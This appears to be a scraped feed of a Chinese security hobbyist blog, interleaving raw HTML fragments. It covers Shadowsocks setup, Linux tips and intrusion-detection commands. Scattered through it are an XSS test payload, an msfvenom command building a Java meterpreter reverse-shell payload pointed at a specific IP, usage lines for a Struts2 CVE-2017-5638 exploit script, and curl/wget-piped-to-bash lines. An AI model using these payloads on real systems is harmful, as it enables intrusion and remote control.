卸载：

./shadowsocks-all.sh uninstall

启动命令：

启动脚本后面的参数含义，从左至右依次为：启动，停止，重启，查看状态。

echo "alias ss='/etc/init.d/shadowsocks-go'" >> .bashrcShadowsocks-Python 版：/etc/init.d/shadowsocks-python start | stop | restart | statusShadowsocksR 版：/etc/init.d/shadowsocks-r start | stop | restart | statusShadowsocks-Go 版：/etc/init.d/shadowsocks-go start | stop | restart | statusShadowsocks-libev 版：/etc/init.d/shadowsocks-libev start | stop | restart | status各版本默认配置文件Shadowsocks-Python 版：/etc/shadowsocks-python/config.jsonShadowsocksR 版：/etc/shadowsocks-r/config.jsonShadowsocks-Go 版：/etc/shadowsocks-go/config.jsonShadowsocks-libev 版：/etc/shadowsocks-libev/config.json

VPS测速脚本：

wget -qO- –no-check-certificate https://raw.githubusercontent.com/oooldking/script/master/superbench.sh | bashwget -qO- bench.sh | bash   或者     curl -Lso- bench.sh | bash
]]> <h1 id="一键安装："><a href="#一键安装：" class="headerlink" title="一键安装："></a>一键安装：</h1><pre><code>wget --no-check-certificate https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks-all.sh chmod +x shadowsocks-all.sh ./shadowsocks-all.sh 2&gt;&amp;1 | tee shadowsocks-all.log </code></pre><blockquote> <p>多用户配置文件：vim /etc/shadowsocks-go/config.json</p> </blockquote> <pre><code>{ &quot;server&quot;:&quot;0.0.0.0&quot;, &quot;port_password&quot;:{ &quot;8989&quot;:&quot;password0&quot;, &quot;9001&quot;:&quot;password1&quot;, &quot;9002&quot;:&quot;password2&quot;, &quot;9003&quot;:&quot;password3&quot;, &quot;9004&quot;:&quot;password4&quot; }, &quot;method&quot;:&quot;aes-256-cfb&quot;, &quot;timeout&quot;:600 } </code></pre><h1 id="卸载："><a href="#卸载：" class="headerlink" title="卸载："></a>卸载：</h1><pre><code>./shadowsocks-all.sh uninstall </code></pre> Xss常用测试代码 https://10o0.github.io/2018/01/18/Xss常用测试代码/ 2018-01-18T07:54:28.000Z 2018-07-26T07:38:15.240Z

简单测试代码：

<img src="#" onerror="alert(111)">
]]> <blockquote> <p>简单测试代码：</p> </blockquote> <pre><code>&lt;img src=&quot;#&quot; onerror=&quot;alert(111)&quot;&gt; </code></pre> msf常用命令 https://10o0.github.io/2018/01/18/msf-shell/ 2018-01-18T02:22:16.000Z 2018-07-26T07:38:15.240Z Msf安装：

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstallchmod 755 msfinstall && ./msfinstall

Msfshell

java/meterpreter/reverse_tcpmsfvenom -p java/meterpreter/reverse_tcp  LHOST=203.101.160.157 LPORT=8808 -f jar -o msfserver.jar
]]> <p>Msf安装：</p> <pre><code>curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrapp linux实用技巧 https://10o0.github.io/2018/01/18/linux实用技巧/ 2018-01-18T01:56:49.000Z 2018-07-26T07:38:15.240Z 自定义终端命令启动程序

编辑 .bashrc 文件：

root@kali:~# vim .bashrc root@kali:~# source .bashrc

exm：

alias burp='setsid java -jar /root/softs/burpsuite_pro_v1.6.37.jar >/dev/null 2>&1 &'echo "###" > file  ##替换文件echo "###" >> file ##追加写入文件echo "alias ss='ss start'" >> .bashrc

设置ssh免密码登录

在.ssh目录下：本地主机： ssh-keygen -t rsa   ##生成id_rsa.pubcat vps_rsa.pub >> authorized_keys   ##写入文件复制authorized_keys到远程主机： scp -P 22 authorized_keys root@176.*.145.*:/root/.ssh从远程主机下载文件：scp -P 22 root@176.*.145.*:/root/test.txt /root/

批量操作文件

find ./ -name "*.docx" | awk -F "." '{print $2}' | xargs -i -t mv ./{}.docx  ./{}.doc   #批量修改后缀名cp -r 'find root/a -iname *.doc' root/b   #批量复制某后缀名的文件

配置终端使用HTTP or SOCKS5代理

把代理服务器地址写入shell配置文件.bashrc或者.zshrc

直接在.bashrc或者.zshrc添加下面内容

export http_proxy="http://localhost:port"export https_proxy="http://localhost:port"

以使用shadowsocks代理为例，ss的代理端口为1080,那么应该设置为

export http_proxy="socks5://127.0.0.1:1080"export https_proxy="socks5://127.0.0.1:1080"

或者直接设置ALL_PROXY

export ALL_PROXY=socks5://127.0.0.1:1080

然后ESC后:wq保存文件，接着在终端中执行

source ~/.bashrc

或者退出当前终端再起一个终端。 这个办法的好处是把代理服务器永久保存了，下次就可以直接用了。

或者通过设置alias简写来简化操作，每次要用的时候输入setproxy，不用了就unsetproxy。

alias setproxy="export ALL_PROXY=socks5://127.0.0.1:1080"alias unsetproxy="unset ALL_PROXY"alias ip="curl ip.cn"
]]> <h1 id="自定义终端命令启动程序"><a href="#自定义终端命令启动程序" class="headerlink" title="自定义终端命令启动程序"></a>自定义终端命令启动程序</h1><blockquote> <p>编辑 .bashrc 文件：</p> </ linux入侵检测基础 https://10o0.github.io/2018/01/18/linux入侵检测基础/ 2018-01-18T01:30:05.000Z 2018-07-26T07:38:15.240Z 审计命令

last

这个命令可用于查看我们系统的成功登录、关机、重启等情况，本质就是将/var/log/wtmp文件格式化输出，因此如果该文件被删除，则无法输出结果。

相关参数：last -10（-n） 查看最近10条记录last -x reboot 查看重启的记录last -x shutdown 查看关机的记录last -d 查看登陆的记录last –help 命令帮助信息last -f wtmp 用last命令查看wtmp文件（直接打开无法查看）

lastb

这个命令用于查看登录失败的情况，本质就是将/var/log/btmp文件格式化输出。

相关参数：lastb name（root） 查看root用户登陆失败记录lastb -10（-n） 查看最近10条登陆失败记录lastb –heplp 命令帮助信息

lastlog

这个命令用于查看用户上一次的登录情况，本质就是将/var/log/lastlog文件格式化输出。

相关参数：lastlog 所有用户上一次登陆记录lastlog -u username（root） root用户上一次登陆记录lastlog –help 命令帮助信息

who

这个命令用户查看当前登录系统的情况，本质就是将/var/log/utmp文件格式化输出。主要用来查看当前用户名称，以及登陆的ip地址信息，w命令与who一样，会更详细一些。

history

查看历史命令记录，其实就是查看root/.bash_history文件内容，删除这个文件，记录就没了。

相关参数：history 查看所有历史记录history -10 查看最近10条记录history | grep “wget” 查看wget相关信息的记录history –help 命令帮助信息

history显示时间戳：

export HISTTIMEFORMAT="%F %Twhoami"history | more

检查用户

Linux不同的用户，有不同的操作权限，但是所有用户都会在/etc/passwd、/etc/shadow、/etc/group文件中记录。

less /etc/passwd　　查看是否有新增用户grep :0 /etc/passwd　　查看是否有特权用户（root权限用户）ls -l /etc/passwd　　查看passwd最后修改时间

cawk -F: '$3==0 {print $1}' /etc/passwd　　查看是否存在特权用户

awk -F: 'length($2)==0 {print $1}' /etc/shadow　　查看是否存在空口令用户

注：linux设置空口令：passwd -d username

检查进程

一般被入侵的服务器都会运行一些恶意程序，或是挖矿程序，或者DDOS程序等等，如果程序运行着，那么通过查看进程可以发现一些信息。

普通进程

ps -aux　　查看进程top查看进程lsof -p pid　　查看进程所打开的端口及文件lsof -c 进程名　　查看关联文件ps -aux | grep python | cut -d ' ' -f 2 | xargs kill   杀死python相关的进程

检查/etc/inetd.conf文件，输入：cat /etc/inetd.conf | grep –v "^#"，输出的信息就是你这台机器所开启的远程服务。

隐藏进程

ps -ef | awk '{print}' | sort -n | uniq >1  ls /proc | sort -n |uniq >2diff 1 2

检查文件

被入侵的网站，通常肯定有文件被改动，那么可以通过比较文件创建时间、完整性、文件路径等方式查看文件是否被改动。

find / -uid 0 -print　　查找特权用户文件find / -size +10000k -print　　查找大于10000k的文件find / -name "…" -prin　　查找用户名为…的文件find / -name core -exec ls -l {} \;　　查找core文件，并列出详细信息md5sum -b filename　　查看文件的md5值rpm -qf /bin/ls　　检查文件的完整性（还有其它/bin目录下的文件）whereis 文件名　　查看文件路径ls -al 文件名　　查看文件创建时间du -sh  文件名   查看文件大小

检查网络

检查网络的目的，是查看黑客是否通过篡改网卡类型，进行流量嗅探等操作。

ip link | grep PROMISC　　正常网卡不应该存在promisc，如果存在可能有snifferlsof -inetstat -nap　　查看不正常端口arp -a　　查看arp记录是否正常ifconfig -a　　查看网卡设置

检查计划任务

当我们尝试kill恶意程序时，往往会遇到被kill程序自动启动的问题，那么就要检查下计划任务(cron)了。

crontab -u root -l　　查看root用户的计划任务cat /etc/crontabls -l /etc/cron.*　　查看cron文件是否变化的详细信息ls /var/spool/cron/

检查系统后门

可以使用工具，如：Conmodo、rkhunter等，当然也可以手工输入命令检查。

vim $HOME/.ssh/authorized_keys　　查看ssh永久链接文件lsmod　　检查内核模块chkconfig –list/systemctl list-units –type=service　　检查自启

查看著名的木门后门程序：

ls /etc/rc.d   #系统开机后，此目录下的文件会被启动ls /etc/rc3.dfind / -name “.rhosts” –printfind / -name “.forward” –print

打包文件

当我们做好一切入侵检测分析后，我们需要把一些日志文件copy到本地进行更进一步详细的分析时，怎么打包服务器相关信息，并且copy到本地呢？

打包web文件

打包文件名中包含jsp的文件，打包后的文件为my_txt_files.tar：
tar cvf my_txt_files.tar find . -type f -name "*.jsp*"

打包日志文件

tar -cvf log.tar /var/log

打包其他信息

last > last.lognetstat -an > netstat.log
]]> <h1 id="审计命令"><a href="#审计命令" class="headerlink" title="审计命令"></a>审计命令</h1><h2 id="last"><a href="#last" class="headerlink" title="last"></a>last</h2><blockquote> <p>这个命令可用于查看我们系统的成功登录、关机、重启等情况，本质就是将/var/log/wtmp文件格式化输出，因此如果该文件被删除，则无法输出结果。</p> </blockquote> <pre><code>相关参数： last -10（-n） 查看最近10条记录 last -x reboot 查看重启的记录 last -x shutdown 查看关机的记录 last -d 查看登陆的记录 last –help 命令帮助信息 last -f wtmp 用last命令查看wtmp文件（直接打开无法查看） </code></pre> kali安装NVIDIA显卡驱动 https://10o0.github.io/2018/01/10/kali安装NVIDIA显卡驱动/ 2018-01-10T01:32:48.000Z 2018-07-26T07:38:15.240Z 安装参考链接
https://forums.kali.org/showthread.php?35748-TUTORIAL-Installing-official-NVIDIA-driver-in-Optimus-laptop
验证：
https://docs.kali.org/general-use/install-nvidia-drivers-on-kali-linux

]]> <p>安装参考链接<br><a href="https://forums.kali.org/showthread.php?35748-TUTORIAL-Installing-official-NVIDIA-driver-in-Optimus-laptop" target="_bl s2-045 exp CVE-2017-5638 https://10o0.github.io/2017/03/16/s2-045-exp-CVE-2017-5638/ 2017-03-16T03:30:23.000Z 2018-07-26T07:38:15.240Z Usage:

Testing a single URL.

python struts-pwn.py --url 'http://example.com/struts2-showcase/index.action' -c 'id'

Testing a list of URLs.

python struts-pwn.py --list 'urls.txt' -c 'id'

Checking if the vulnerability exists against a single URL.

python struts-pwn.py --check --url 'http://example.com/struts2-showcase/index.action'

Checking if the vulnerability exists against a list of URLs.

python struts-pwn.py --check --list 'urls.txt'

Requirements

Python2 or Python3requests

https://github.com/mazen160/struts-pwn/blob/master/struts-pwn.py

]]> <p>Usage:</p> <p>Testing a single URL.</p> <pre><code>python struts-pwn.py --url &apos;http://example.com/struts2-showcase/index.action&apos